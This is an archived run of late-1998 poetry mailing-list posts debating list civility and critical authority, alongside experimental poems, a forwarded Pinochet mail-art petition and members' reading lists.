Well, I imagine the backlash is on its way, but I'm with Charles on this one. I use to think that one of the things I liked most about the list was its tendency toward anarchy, the fact of it *un*moderation etc. And there have been plenty of zesty brouhahas along the way that I've enjoyed. But lately it seems as if there is very, very little actual discussion going on, and I'm certainly one of those people Charles mentions who have found themselves gradually alienated by the just-plain-*nastiness* (my word, not CB's) that has become so prevalent.

steve

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916. **Ron Silliman**

Bull Run

Sat 28 Nov 1998

I took the kids to Manasas yesterday to see the site of the first Battle of Bull Run only to discover that the Civil War re-enactment was really going on here on The List whilst our backs were turned. My attitude toward this is pretty much the same as my answer to Colin's question yesterday, "Who were the good guys?" "They all were. That's what makes war so wasteful and stupid."

I've often thought that the really radical distinction between our age and those of decades past is not one of more (or less) good poets per se [although I'm inclined to believe that there are more good writers right now than ever before in history], but rather that there are far fewer critics of substance. I think that Marjorie Perloff (and Peter Quartermain, Jerry McGann, Alan Golding, Steve Evans, Maria Damon, Tom Vogler &c &c &c) takes a lot of flack because she (and they) stands in for "all of criticism" in its positive functions. If Marjorie's work has a weak spot, I think it's that she knows just how little good criticism is being written about contemporary poetry and she's always trying to fill all of the gaps. Her energy always astounds me as does her ability to bring extraordinary powers of concentration of every project she tackles.

A much more interesting question than why does X or Y not make it onto reading list A is always "what is it about X or Y that keeps someone from putting it onto reading lists A, B, C, etc.?"

Yes, it's true that critics who don't write or publish or primarily publish poetry will see the poem differently than do other poets. Poets often read the poem as though the other poet were "solving the problems" put forward by the poem and vote heavily with their (my) emotions on how well that gets done. Is it the only way to read a poem? Is there any such "only way"? Not in this galaxy there's not. And I write this as one of the loudest proponents of poets writing criticism there has ever been.

I note that I, for one, don't feel "disabled" to speak about the fiction I read, although I haven't ever published fiction (tho I did "win" one Pushcart Prize for same and was ostensibly hired as a fiction teacher by UCSD some 16 years ago, which says more about the institutionalization of genre than anything else). Ditto the films I see or music I hear, although I've never ventured into those media either. I've been reading Kathy Acker on Goya this weekend. Should I presume that this should not have been written?

There are also people in virtually every poetry scene who are important to it who publish neither poetry nor criticism, or else very very little. We lost two of these folks in the past year or so in Barry Cox and Charles Watts. Were their

opinions not of value? That seems non-sensical on the face of it. I think it's very difficult to understand or articulate precisely how poetry is diminished by the loss of someone who doesn't characteristically speak up, but I never met anyone who knew these people (or others like them) who wouldn't admit it.

In some ways, that silence replicates the position of most of the folks who lurk on this list. This list, after all, has 700 recipients but can handle only 50 messages per day.

If anything, we need more of all these social functions in and around the poem. We certainly need 100 Marjorie Perloffs, preferably all in contention with one another so as to create a true public discourse about literature that we would, every one of us, benefit from. If nothing else, the arguments who have more in the way of nuance.

Ron Silliman

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917. **Leonard Brink**

Re: Ganick's long poem

Sun 29 Nov 1998

Randy Prunty writes:

> *Peter, I can't read your poem.*
> *Now, what does this mean. It means I can't treat your poem like I treat (most) other poems. .....*
> *I hope you respond to this, but perhaps not until you've allowed others to respond to your work and my questions.*

To me, reading Peter's poem is like picking one's way through a sort of multi-colored and many-faceted Australia in the shape of a mountain. It is an immense, hard going, and deserted place in terms of the visitor's prior expectations but so rich on its own terms that one fears getting lost in it.

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918. **A. Jenn Sondheim**

==========

Sun 29 Nov 1998

=====

==========

Fierce Theodor has wrought this sonnet.
Norn walked to Valkyrie, true fey Princess
lost in Mordor's distance, wilt thou say
I abjure rumor lost and truth regained. I

speak of Mordor's legions, O charmful
Magister, of fired visage, know thou what
Norn will speak, in light of tongueless
Norn, in light of mouthless Norn and
speechless Norn? The Portal formed the
Wander of many a fey Princess; I formed
them, they formed them. Would that Sorcery
have no role but obvious Sincerity; would
Upper and Nether World clash at volcanic
Rim, defeat of legionnaire and Norn alike.
==========

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919. **Peter Ganick**

Fwd: GOMA/english y castellano version

Sun 29 Nov 1998

> *UA+MA*
> *URGENT ACTION OF MAIL ART*
>
> *GOM@>(Global Organization of Mail Artists)*
>
> *November, 26, 1998*
>
> *Pinochet, the justice and Humberto Nilo*
>
> *Approximately a year ago, the Director and Academic of the Arts School of the University from Chile, Humberto Nilo Saavedra, promoted a Mail Art call to please the freedom in education for the arts. Months later, he was expelled from his chair. The dictatorship continued operating. Now, the ex-dictator and Chilean life senator, Augusto Pinochet, has been arrested . In such an unexpected way, he is in the custody of the court in England as a result of the request for extradition from a Spanish judge, Baltasar GarzÃ³n. The charges are for more than 90 crimes of genocide, international terrorism and tortures. Faced with the danger that the process can be stopped by Spanish reactionary forces, we asked for solidarity to all the mail artists for justice to be strictly applied.*
>
> *The group AU MA+gom@ (Urgent Action â€“ Mail Art), consider the first stage of this project to be closed, once achieved that both Spanish and English Court sentenced the ex-dictator and Chilean life senator, Augusto Pinochet, must to be put in trial for crimes of genocide, international terrorism and torture.*
>
> *For these crimes, Pinochet was requested by the laws of several countries (Spain, France, Germany, Switzerland...and others). The extradition*

proceedings will take time. However, we consider the precedent established will make possible to be optimists about the make up of an International Court to fight the crimes against humanity.

On the other hand, our campaign was mainly aimed at Mail Art world, even thought a lot of people from another circles did identify with our call. In that respect, we want to declare that our report of the case of Humberto Nilo -ex Director of the University of Chileâ€™s Fine Art School, who was dimissed from his position after the organization of the Mail Art exhibition "Stop: liberty, diversity and pluralism"- is still not solved. Because this reason, we will continue making all efforts to give him back his position.

Adhesion to the list: [redacted] *subject: adhesion*
Participate in future actions of GOM@ : [redacted] *subject: member*

Pinochet, la justicia y Humberto Nilo

Hace aproximadamente un aÃ±o, el profesor de BB.AA. de la Universidad de Chile, Humberto Nilo Saavedra, promovÃa una convocatoria de Mail Art en favor de la libertad de enseÃ±anza para las artes. Unos meses despuÃ©s, era expulsado de su cÃ¡tedra. La dictadura seguÃa operando. Ahora ha sido detenido el ex-dictador y senador vitalicio chileno, Augusto Pinochet. De la manera mÃ¡s insospechada ha quedado bajo custodia en Inglaterra ante la peticiÃ³n de extradiciÃ³n de un juez espaÃ±ol, Baltasar GarzÃ³n. La acusaciÃ³n es
de mÃ¡s de 90 delitos por genocidio, terrorismo internacional y tortura. Ante el peligro de que el proceso sea detenido por fuerzas reaccionarias espaÃ±olas, solicitamos a todos los mail artistas su solidaridad para que la justicia se aplique con todo rigor.

EL COLECTIVO AU MA+gom@ (AcciÃ³n Urgente - OrganizaciÃ³n Mundial del Mail Art), da por concluida la primera etapa de este proceso, una vez conseguido que tanto los tribunales espaÃ±oles como los ingleses hayan sentenciado que el ex-dictador Chileno y senador vitalicio Augusto Pinochet, debe ser juzgado por los mÃºltiples crimenes de genocidio, terrorismo internacional y tortura.
Delitos cuyo procesamiento ha sido solicitado por diversos paÃses.(EspaÃ±a, Francia, Alemania, Suiza...) El proceso de extradiciÃ³n, probablemente serÃ¡ largo. Pero consideramos que a partir de estos momentos, el precedente sentado permitirÃ¡ contemplar con nuevas perspectivas la formaciÃ³n de un Tribunal Internacional para combatir los crÃmenes
contra la humanidad.
Por otro lado, nuestro manifiesto iba dirigido al universo del Mail Art, que es donde nos movemos. Bien es cierto que al mismo se han sumado otras personas y colectivos que se han identificado con nuestro llamamiento. En

este sentido, queremos dejar constancia de que nuestra denuncia por el caso del ex-Director de Bellas Artes de la Universidad de Chile, Humberto Nilo, expulsado de su cÃ¡tedra despuÃ©s de organizar una covocatoria de Mail Art por "La Libertad en la EnseÃ±anza de las Artes", no ha sido solucionado. Es por ello que proseguiremos en nuestro esfuerzo para que le sea restituido su cargo.

Adhesiones a la lista a: [redacted] subject: adhesion
Participa en futuras acciones de GOM@: [redacted] subject: member

More than 300 Signatures/Firmas until/hasta 25 November 1998:

A Cova da Terra
Abel Figueras
Abraham Vecina GutiÃ©rrez
AG(+A)e-1
Agurrak
Aiolidiggi
Alberto Duarte
Alberto GonzÃ¡lez
Alejandra Sequeira
Alejandro BeltrÃ¡n
Alfons Herraiz
Alfonso Sorribes
Alicia Bay Laurell
Alicia Gil
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Ana-Aj
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> *John M. Bennett*
> *Jordi Barrachina*
> *Jordi Folgado Illa*
> *Jordi SolÃ©*
> *Jordi Vidal*
> *Jorge Daffunchio*
> *Jorge GarcÃa*
> *Jorge Garnica*
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> *Jose E. LÃ³pez GÃ¡lves*
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> *JosÃ© Guevara Castro*
> *JosÃ© Iges*
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> *Josep MÂª Damenson*
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> *Selim Birsel*
> *Sepp Rothwangl*
> *Sergey de Rocombole*
> *Sergui QuiÃ±onero*
> *Shifra Goldman*
> *Silvina Szperling*
> *Silvio De Gracia*
> *Simon Baudhuin*
> *Simona*
> *Simone Rondelet*
> *Sugar Irmer*
> *Susanne Kunkele*
> *Taller del Sol*
> *Tamara Stuby*
> *Tartarugo*
> *Teresinha Pereira*
> *The GastronomÃa of the Mediterraneo*

> *Therese Ectors*
> *Thierry Merger*
> *Transforma*
> *Unai Reglero*
> *Vagner T.S.*
> *Vanessa HernÃ¡ndez*
> *Veha Abrahamsberg*
> *Veterinarios sin fronteras*
> *Viktor Todorovick*
> *Viola Siruthairath*
> *Vittore Baroni*
> *Viviana Sasso*
> *VÃ³rtice*
> *www.crosses.net*
> *Xabier Idoate*
> *Xavier Moreno*
> *Xer*
> *Xtof Bruneel*
> *Xurxo Estevez*
> *Zaida Reverter*
>
> *Read more about GOM@ and*
> *the memory of our action Pinochet, Justice and Humberto Nilo on:*
>
> *http://www.teleline.es/personal/tartarug*
> *http://www.fut.es/~boek/Nilo.htm*
> *http://www.crosses.net/nilo/*
> *http://www.geocities.com/SoHo/Workshop/6345/justicia/auma.htm*
>
> *please send your cross*
> *http://www.crosses.net*
> *----------*
> *----------*
> *Hans Braumueller*
> *Licenciado en Artes Plasticas*
> *Osterstrasse 98*
> *20259 Hamburg*
> *Germany*

↑ Index

920. **Daniel Carter**
thanks torch the angst befired
Sun 29 Nov 1998

glassy void

leafy

triggerlink the oblique

among other

maybe not so oblique

the/a (Thea)

multi-dimensional

spirallytic spectrum

hard-glowing

ardent drive

the emergence of light

immerse/emerge ([m]a[y]a) selves

frayous aspects (of self/Self)

in(k) the coming/commingling days/daze

knock on word

glyphliff

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921. **Daniel Carter**

Re: Ganick's long poem

Sun 29 Nov 1998

Leonard Brink writes:

> *Randy Prunty writes:*
>
> *Peter, I can't read your poem.*
> *Now, what does this mean. It means I can't treat your poem like I treat (most) other poems. .....*
> *I hope you respond to this, but perhaps not until you've allowed others to respond to your work and my questions.*
>
> *To me, reading Peter's poem is like picking one's way through a sort of multi-colored and many-faceted Australia in the shape of a mountain. It is an immense, hard going, and deserted place in terms of the visitor's prior expectations but so rich on its own terms that one fears getting lost in it.*

I copied every bit of Peter's poem to hard drive so I could immerse myself in it in the coming days (knock on would) of living/glyphing.

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922. **Daniel Carter**
Re: thanks torch the angst befired
Sun 29 Nov 1998

> *spirallytic spectrum*

maybe that should be "spiralytic".

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923. **henry gould**
Bull Run
Sun 29 Nov 1998

I haven't seen any civil wars on the list lately, but some little canons have been lining up & popping away - Generals Perloff, Bernstein & Silliman moving up on the left flank - scattered potshots from Gudding Grumman & Gould out on limbs high in the trees - the usual buzzard-shoot around Thanksgiving - settle down, boys! When's Gen'l $50 thousand-dollar Grant gonna get here? - Capt. Gould

:) :) :) :) :) :) rah for the musketeers! :) :) :) _+%- @!

↑ Index

924. **Michael W Bibby**
Re: this needful thing
Sun 29 Nov 1998

Hi, Aldon:

On Tue, 24 Nov 1998, Aldon Nielsen wrote:

> *I need poetry -- I'd like to say that everybody needs poetry --*

But this isn't what Perloff said, and her assertion that no one needs poetry inspired my counter-statement that some people *do* need it--

> *but HOW are you going to figure out "what kind" of poetry any particular people might be properly said to need at any given time????*

Why is it necessary for me to determine the "kind" of poetry needed? This seems to me to fall back into a prescriptive critical trap--

> *We can speak*
> *of what poetry they HAVE produced and/or read -- we can talk of the use*
> *they made of it,,,, we can look at what they have said about their own*
> *needs -- but how would we ever come to any kind of statement about X needed*
> *poetry of the type Y at Z point in time??????*

Maybe I'm missing something, but it often seems to me that examining what poetry is produced, circulated, valued, what a social group says about its needs in any given historical moment, all amount to saying "X needed poetry of the type Y at Z point in time"--I don't mean this to be naively presentist--but this just seems to be a matter of analyzing the available evidence, and as a cultural historian of a particular poetry written by specific groups in certain historical moments it seems only just that I begin by listening to what these people have to say about their needs and study this in relation to the poetry they produce--

mb

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925. **Ruth Danon**

Re: Bull Run

Sun 29 Nov 1998

Came back from over the river etcetera to find that the (dreary) argument of last week had escalated. Thank you Ron Silliman and others for suggesting that we have more important things to do with our time (I had 99 messages when I came home). I keep wondering if all this contrariness has to do with some little thing that Pound said -- you can't write poetry in a manner 20 years old. Seems like maybe there are are a lot of 20 year old runs that have reached their limits and the scary questions have to do with where do we go from here (not necessarily falling into the modernist cry of "make it new" -- still there is this question of what do we do now.) In this country poetry proliferates at a great rate. Tomaz Salamun claims that nowhere is there so much support for poetry as in the USA.

Here's something I think about a lot. If I know exactly what I'm about to say and how it will emerge then I'm in deep trouble. Perhaps we all need to know little less about what we are doing, be a little less sure of ourselves, our presuppositions, our stances. Don't mind referring to Yeats here -- out of the quarrel with ourselves we produce poetry-- and y'all know the rest.

And maybe it's this quality of self-sure "knowingness" that links Pinsky (in his typical poems) with so-called experimental writers who already know before they start what the formal, linguistic and political positions need to be to write an "acceptable" poem.

Gotta be lost in the woods a bit to get anywhere.

and at the same time, that statement does undo itself & I know it.

Curious to hear some thoughts.

> From: Ron Silliman <[redacted]>
> To: [redacted]
> Subject: Bull Run
> Date: Saturday, November 28, 1998 10:35 PM
>
> I took the kids to Manasas yesterday to see the site of the first Battle
of
> Bull Run only to discover that the Civil War re-enactment was really
going
> on here on The List whilst our backs were turned. My attitude toward this
is
> pretty much the same as my answer to Colin's question yesterday, "Who
were
> the good guys?" "They all were. That's what makes war so wasteful and
> stupid."
>
> I've often thought that the really radical distinction between our age
and
> those of decades past is not one of more (or less) good poets per se
> [although I'm inclined to believe that there are more good writers right
now
> than ever before in history], but rather that there are far fewer critics
of
> substance. I think that Marjorie Perloff (and Peter Quartermain, Jerry
> McGann, Alan Golding, Steve Evans, Maria Damon, Tom Vogler &c &c &c)
takes a
> lot of flack because she (and they) stands in for "all of criticism" in
its
> positive functions. If Marjorie's work has a weak spot, I think it's that
> she knows just how little good criticism is being written about
contemporary
> poetry and she's always trying to fill all of the gaps. Her energy always
> astounds me as does her ability to bring extraordinary powers of
> concentration of every project she tackles.
>
> A much more interesting question than why does X or Y not make it onto
> reading list A is always "what is it about X or Y that keeps someone from
> putting it onto reading lists A, B, C, etc.?"
>
> Yes, it's true that critics who don't write or publish or primarily
publish

> poetry will see the poem differently than do other poets. Poets often
read
> the poem as though the other poet were "solving the problems" put forward
by
> the poem and vote heavily with their (my) emotions on how well that gets
> done. Is it the only way to read a poem? Is there any such "only way"?
Not
> in this galaxy there's not. And I write this as one of the loudest
> proponents of poets writing criticism there has ever been.
>
> I note that I, for one, don't feel "disabled" to speak about the fiction
I
> read, although I haven't ever published fiction (tho I did "win" one
> Pushcart Prize for same and was ostensibly hired as a fiction teacher by
> UCSD some 16 years ago, which says more about the institutionalization of
> genre than anything else). Ditto the films I see or music I hear,
although
> I've never ventured into those media either. I've been reading Kathy
Acker
> on Goya this weekend. Should I presume that this should not have been
> written?
>
> There are also people in virtually every poetry scene who are important
to
> it who publish neither poetry nor criticism, or else very very little. We
> lost two of these folks in the past year or so in Barry Cox and Charles
> Watts. Were their opinions not of value? That seems non-sensical on the
face
> of it. I think it's very difficult to understand or articulate precisely
how
> poetry is diminished by the loss of someone who doesn't
characteristically
> speak up, but I never met anyone who knew these people (or others like
them)
> who wouldn't admit it.
>
> In some ways, that silence replicates the position of most of the folks
who
> lurk on this list. This list, after all, has 700 recipients but can
handle
> only 50 messages per day.
>

> If anything, we need more of all these social functions in and around the
> poem. We certainly need 100 Marjorie Perloffs, preferably all in contention
> with one another so as to create a true public discourse about literature
> that we would, every one of us, benefit from. If nothing else, the arguments
> who have more in the way of nuance.
>
> Ron Silliman

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926. **Mark DuCharme**

Re: Free Poetics / Bull Run

Sun 29 Nov 1998

I completely agree with Charles Bernstein's post. What Charles talks about as "attitude" has been defended here recently as "humor" or "satire." Although humor sometimes says as much as polite discussion, name calling, personal attacks, "bravado" & heckling say nothing-- except about those individuals who insist on behaving like teenagers when taking part in a virtual discussion. (Although most teenagers I know behave more maturely than some of the "rebels" on this list).

By using the word "rebels," I'm deliberately alluding to Henry Gould's response to this thread, in which he took up the "Bull Run" theme to say that what was happening was nothing more than pot-shots at the "generals." Why do you feel there are "generals," Henry? One unfortunate remark of a few days ago notwithstanding, no one has addressed the list in a way that calls rank into question. Furthermore-- as you all know-- cheap shots are not reserved for the Marjorie Perloffs. This is not a matter of real rebels staking their turf. Real rebels want to talk about issues, they aren't interested in flippantly defending the practice of cheap shots in a way that's sure to get their name mentioned in a subject heading while shutting down all further discussion.

Mark DuCharme

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927. **s. kaipa**
Poetry on CD
Sun 29 Nov 1998

For those of you who might be interested in a collaboration, permutation that crosses poetry into the genre of "experimental" music, you should check out the newest Ninian Hawick's CD, _ Steep Steps_. Patrick F. Durgin does a fabulous reading/rap/performance of an early version of a poem that appears in his new chapbook, _Pundits Scribes Pupils_. If the words Seefeel, Felt, and Suicide mean anything to you . . .

Just came out, will be in stores soon, ask for it on the Grimsy label.

Best,
Summi Kaipa

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928. **Mairead Byrne**
Re: Free Poetics / Bull Run
Sun 29 Nov 1998

On Sun, 29 Nov 1998, Mark DuCharme wrote:

> Why do you feel there are "generals," Henry? One
> unfortunate remark of a few days ago notwithstanding, no one has
> addressed the list in a way that calls rank into question.
>
There are generals. While stewing over Henry Gould's enquiry of some days ago, in preparation for a considered response, starting with Berlin and the ignominy of not having earned the right to triumph when the wall came to be dismantled, to such antedeluvian but real achievements as the legalization of contraception and divorce in Ireland, to recent ceasefires, and my all too ready deletion of Barnes & Noble takeover notices, to Libyan poets,imprisonment, and all sorts of censorship, to my growing understanding of what "moderation" means in terms of this list (YES, the tap of the cattle-drover, the nudge away from silliness to be followed by the poke? And then by the lash? Or excommunication from THE LIST?). Some Mark's comment of weeks ago still echoes: to the effect that intolerance in aesthetics/poetics had no connection with intolerance in civil issues. I said "I wonder" but I don't. Henry, I'm still pondering your question and will, from the poverty of my position, reply. But there are generals, I'm pretty sure about that.
Mairead
> >

>

_____
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>

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929. **Mairead Byrne**
Re: Free Poetics / Bull Run
Sun 29 Nov 1998

Another little logical knot in Mark Du Charme's post: how exactly do "real rebels" perform in "virtual discussion"? "Teenagers" is a put-down, right? As opposed to "real rebels"? Who the heck are the "real rebels"? You are beginning to sound like the teenager's nightmare: the Law of the Father is to rebel: but really, virtually, democratically.

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930. **Mairead Byrne**
Re: Free Poetics / Bull Run
Sun 29 Nov 1998

Excuse me: DuCharme.

On Sun, 29 Nov 1998, Mairead Byrne wrote:

> *Another little logical knot in Mark Du Charme's post: how exactly do "real rebels" perform in "virtual discussion"? "Teenagers" is a put-down, right? As opposed to "real rebels"? Who the heck are the "real rebels"? You are beginning to sound like the teenager's nightmare: the Law of the Father is to rebel: but really, virtually, democratically.*

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931. **Mark DuCharme**
Re: Free Poetics / Bull Run
Sun 29 Nov 1998

What's the point of rebelling if there's nothing at stake? Or, nothing more important than ego, or less important than poetry, at stake? & It's not a law if you don't have the power to make laws or to enforce them. At least that's what I'm told the people who have really stood up to real (non-metaphorical) generals have always said.

--not "one of the Mark's"

>Another little logical knot in Mark Du Charme's post: how exactly do "real
>rebels" perform in "virtual discussion"? "Teenagers" is a put-down,
>right? As opposed to "real rebels"? Who the heck are the "real rebels"?
>You are beginning to sound like the teenager's nightmare: the Law of the
>Father is to rebel: but really, virtually, democratically.
>

_____
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932. Maria Damon
marco polo anyone?
Sun 29 Nov 1998

fwd from masha zavialova; i don't know the dude myself, but my curiosity's been piqued by her inquiry:

To: Maria Damon <[redacted]>
Organization: Private person (St.Petersburg)
Date: Mon, 21 Dec 1998 10:23:31 +0300 (MSK)
From: "Sergei A. Zavialov" <[redacted]>
Subject: Marco Polo
Lines: 12

Dear Maria Do you happen to know a guy Marco Polo? There is a chap here in St. Petersburg who is currently teaching American poetry in the Institute of Culture (they train librarians mostly). He says he is a poet from the US and wouldn't let me come to his classes. A weird guy judging from his messages (I haven't seen him yet) Says one of the main reasons he is here is our girls who have no penis envy and who enjoy being women not like crazy females in the West. That's his words. Another adventurer looking for easily available love affairs? For two centuries St. Petersburg has been quite a place for fortune-seekers from the West. Much of our culture has been done by them - architecture mostly and mostly Italians. Hugs Masha

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933. **Mark DuCharme**
more bull
Sun 29 Nov 1998

Apologies for that last post, which was written in haste &, as a result, was probably the sort of thing I was complaining about in terms of behavior on the list.

Certainly Mairead was right to the extent that rebellion is anything you want it to be, & there certainly are no rules about what is "real" in that sense. I was only trying to talk about rebellion that might be effective, that might be taken seriously by the power structure one opposes, & thus result in change. Yes, my comparison of certain people on the list to teenagers was a put down. Mairead, do you find it an inaccurate one?

As to the question of generals, I personally have never heard of anyone, with the possible exception of Henry Gould, trying to dictate how one should write poetry, or how one should write _about_ poetry. Even so prominent a critic as Marjorie Perloff gets called on the carpet here for a thoughtless comment-- as well she should, in that case. Now of course there are hierarchies in academic departments, & if one is so employed (I'm not an academic, fortunately or unfortunately, at the moment) then, yes, there are generals _there_. But I wasn't talking about that sort of professional politics, though perhaps I should have been more clear about that, & I do thank Mairead for being so diligent in pointing such "loopholes" out.

Cheers,
Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

934. **Henry Gould**
Re: Free Poetics / Bull Run
Sun 29 Nov 1998

On Sun, 29 Nov 1998 14:17:59 PST Mark DuCharme said:
>I completely agree with Charles Bernstein's post. What Charles talks
>about as "attitude" has been defended here recently as "humor" or
>"satire." Although humor sometimes says as much as polite discussion,
>name calling, personal attacks, "bravado" & heckling say nothing--
>except about those individuals who insist on behaving like teenagers
>when taking part in a virtual discussion. (Although most teenagers I
>know behave more maturely than some of the "rebels" on this list).

I completely agree with Charles B's post too, since, as some of you know, I wrote something very similar to the list about a week prior to CB, interpreting what "free poetics" might mean. I also said I liked short funny posts, which was what the Bull Run "canons" were meant to be, nothing more.

> *By using the word "rebels," I'm deliberately alluding to Henry Gould's response to this thread, in which he took up the "Bull Run" theme to say that what was happening was nothing more than pot-shots at the "generals." Why do you feel there are "generals," Henry? One unfortunate remark of a few days ago notwithstanding, no one has addressed the list in a way that calls rank into question. Furthermore-- as you all know-- cheap shots are not reserved for the Marjorie Perloffs. This is not a matter of real rebels staking their turf. Real rebels want to talk about issues, they aren't interested in flippantly defending the practice of cheap shots in a way that's sure to get their name mentioned in a subject heading while shutting down all further discussion.*

Mark asks: are there generals? The gravity with which any subject or posting connected with certain names is taken, suggested to me that there might be. People question a distinguished critic, and they are scolded for "picking on" her. I guess I'm getting what I deserve for calling myself for less humor & grandstanding on the list recently. I take that back. Humor is a sign of sanity. Nevertheless I stand by what I said before : I agree in principle with Chuckie's position. Free poetics from these boring higgler epics; talk poetry specifics, not generals. - Henry Gould

p.s. Mark - you've never heard of anyone prescribing how to write poetry besides me? Well, I'm flattered, to say the least! But you know - just for your information - there was Pound too, & Eliot, & a few thousand other poets going back at least to Theocritus, I believe, who did such - Wordsworth, Poe... gosh, I could name quite a few!

↑ Index

935. **Henry Gould**
how to write poetry
Sun 29 Nov 1998

---

from THE LOST NOTEBOOKS

14.

A little rain on Thanksgiving. Then moist air,
light clouds flowing under a luminous half-
moon. I walk along wet streets (whiff
of turkey floating with me) to the curved corner

guarded by an old, elaborate iron gate
into the playground, quiet tonight,
where we brought them long ago. Light
patter on the fallen leaves. The distance.

Yours, theirs... my own. The infinite
abandoned garden. _I shall not drink with you again._
Until. Henry in his cardboard coracle (man
overboard), and Blackstone, carving in granite

the gnarled character for hollowness,
and Bluejay, waiting on the empty table,
pilgrim-servant-scavenger - the whole stable
gathering together by the empty sofa, sees

her, coming aboard - the day of Jubilee.
Across the empty plate of prairie
where the wind is born, and, ghostly,
elevates a clay-bowl memory (into eternity).

Because every feast's Thanksgiving, after all -
a shared-out superflux, unto the Peaceful One;
and every woman's Indian, and every man
is rubicund - ruddied by the blessings of the fall;

and while we walk beneath the twilight sphere
in gradual harmony, an excess love extends
its kelson overhead - the cosmos sends
a simple letter, momentary sentence: _Join me here._

11.26.98

↑ Index

936. **Karen Kelley**
People of the List
Sun 29 Nov 1998

Saw last night, surprisingly & serendipitously, documentary footage of the community of chimpanzees I'd just finished reading about in Jane Goodall's book "Through a Window." The documentary is called "People of the Forest" & ought to show up a few times this month on Animal Planet. These animals are remarkable. If one does something to aggravate another, the aggrieved party hoots, or, if that doesn't work, bites (relatively lightly) the other's foot, or steps on him/her, or threatens a bit with a branch of leaves. There's a hierarchy that changes, but only through great struggle. Social gatherings are sometimes

tumultuous, lots of squabbling and hierarchical displays, and then everyone settles back to community life.

The most amazing and pleasing thing about these films is seeing how deeply emotional & related the chimps are *without language.* Kind of weirdly extra-human because all the words aren't there to interfere.

And as an even further aside: I've been wondering what people on the list read other than poetry & poetry criticism.

Ruth Danon wrote:

> *Came back from over the river etcetera to find that the (dreary) argument of last week had escalated. Thank you Ron Silliman and others for suggesting that we have more important things to do with our time (I had 99 messages when I came home). I keep wondering if all this contrariness has to do with some little thing that Pound said -- you can't write poetry in a manner 20 years old. Seems like maybe there are are a lot of 20 year old runs that have reached their limits and the scary questions have to do with where do we go from here (not necessarily falling into the modernist cry of "make it new" -- still there is this question of what do we do now.) In this country poetry proliferates at a great rate. Tomaz Salamun claims that nowhere is there so much support for poetry as in the USA.*
>
> *Here's something I think about a lot. If I know exactly what I'm about to say and how it will emerge then I'm in deep trouble. Perhaps we all need to know little less about what we are doing, be a little less sure of ourselves, our presuppositions, our stances. Don't mind referring to Yeats here -- out of the quarrel with ourselves we produce poetry-- and y'all know the rest.*
>
> *And maybe it's this quality of self-sure "knowingness" that links Pinsky (in his typical poems) with so-called experimental writers who already know before they start what the formal, linguistic and political positions need to be to write an "acceptable" poem.*
>
> *Gotta be lost in the woods a bit to get anywhere.*
>
> *and at the same time, that statement does undo itself & I know it.*
>
> *Curious to hear some thoughts.*

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937. A. Jenn Sondheim
Re: People of the List
Sun 29 Nov 1998

People of the List, Current Reading

Hiaasen and others, Naked Came the Manatee
Mish, ed. The Anchor Anthology of Short Fiction of the Seventeenth Century
Rosemont, ed. Chinese Texts and Philosophical Contexts
Hakutani, ed., Selected English Writings of Yone Noguchi, 2, Prose
Ford,etc., eds., Android Epistemology
Morgan, Using Java 1.2
Dyson, Release 2.1
Thomas, ed, Sing the Sun Up, Creative Writing Ideas from African American Literature
Current issue of 2600, The Hacker Quarterly

Highly recommend Tanizaki, Some Prefer Nettles

Alan (like liszt)

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938. A. Jenn Sondheim
Desperate Realms (fwd)
Sun 29 Nov 1998

==

Desperate Realms

--- Review of Conversation ----------
(Julu) I am terrific Norn I have Killed Two Million Orc
(Alan) Oh Oh Oh I am an Orc I must Mourn Goodbye Fellow All My Orc
(Nikuko) I am Valkyrie Fly-Girl I will Kill Terrific Norn!
(Julu) Oh My Oh Oh! I will do be Dying Now, Oh Magister I pray!!!
(Magister) Oh Dearest Julu, You will now true to be Live Now!
(Nikuko) Argh and Graahr! I have not to power you Oh Magister help!
(Magister) Oh Darlingest Nikuko, Julu will Truly die Now!
(Julu) Alas! Alack! There is no one to Save me and I die!
(legions of Mordor) We have lost Our Dearest Julu!
(masses) Our Dearest Julu is Gone from Henceforth now From Here!
(Alan) Oh YAY! I would Have Been Deaded by Julu!
(Jennifer) Oh Now I will Kill you for the Deaded Julu, Ah Ha, Ah Ha!
(Alan) I am killed Dead and Now Do Join My Fair Fey Deaded Julu!
(Jennifer) Oh I will now Kill Nikuko Argh and Graahr!
(Magister) Oh I am So Alone In Uppter-Nethery-World!

(Jennifer) Well we have Wonderful Game Played, Now we will Play Another!
They All Rises!

.echo (Jennifer) Well we have Wonderful Game played, now we will Play Another!
(Jennifer) Well we have Wonderful Game Played, Now we will Play Another!
.echo They All Rises!
.w

Alan somersault naked with frock overhead Idle 10 minutes

You are all alone in Worldly-Worlds.
.q You depart Worldly-Worlds.

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939. **Laura Moriarty**
but what do they want?
Sun 29 Nov 1998

Karen -

Thanks for asking. I've been enjoying reading Linda Nagata's Vast - sci fi in relation to nano tech and info tech - but very different from old cyberspace stuff. And have also just finished Gerge B (machines are alive) Dyson's Darwin Among the Machines. While I was reading it I tended to believe that everything was alive. I'd be curious if any other listers have any interest in this book, which is advertised as having cult status. Basic thesis is that machine mind is already or almost already upon us. Memory is supposed to be about equal - bit for bit, with them(it?) gaining fast.

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

940. **Maria Damon**
Re: People of the List
Sun 29 Nov 1998

current and recent reading:
various students' prelims
Georges Bataille on Gilles de Rais--full of blood and pathology, mmm

Dominick La Capra, History and memory after Auschwitz (or something like that), intro seems defensive
Carla Harryman, Never rose w/o th.
an article on globalization by stuart hall and tony mcgrue, sound byte city!
mullen, muse + drudge
raddle moon most recent--groovy as heck!
west coast line most recent-ditto
diane glancy, primer of the obsolete, amazing little charmer of a book,
from chax no less

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941. Katie Degentesh
9x9x9x9x9x9x9x9x9x9x9x9
Mon 30 Nov 1998

9x9 INDUSTRIES presents:

JASON CAMLOT, poet and essayist whose works have appeared, most recently, in Rampike Magazine, sub-Terrain, Journal X, and Poetry Nation: The North American Anthology of Fusion Poetry (Vehicule)

and

DAVID MCGIMPSEY, author of two collections of poetry, Dogboy and Lardcake (both available from ECW Press) and a critical study, Called Shots: Baseball as Modern American Fiction, due this spring from University of Indiana Press.

POETRY READING!

ADOBE BOOKSHOP, THURSDAY, DECEMBER 3, 1998
3166 16TH ST. (AT GUERRERO)
8 PM, *FREE*

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE *STILL* DON'T LIKE POEMS
THAT ARE LIKE POEMS!

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942. Leonard Brink
Norma Cole, George Oppen, Marjorie Perloff
Mon 30 Nov 1998

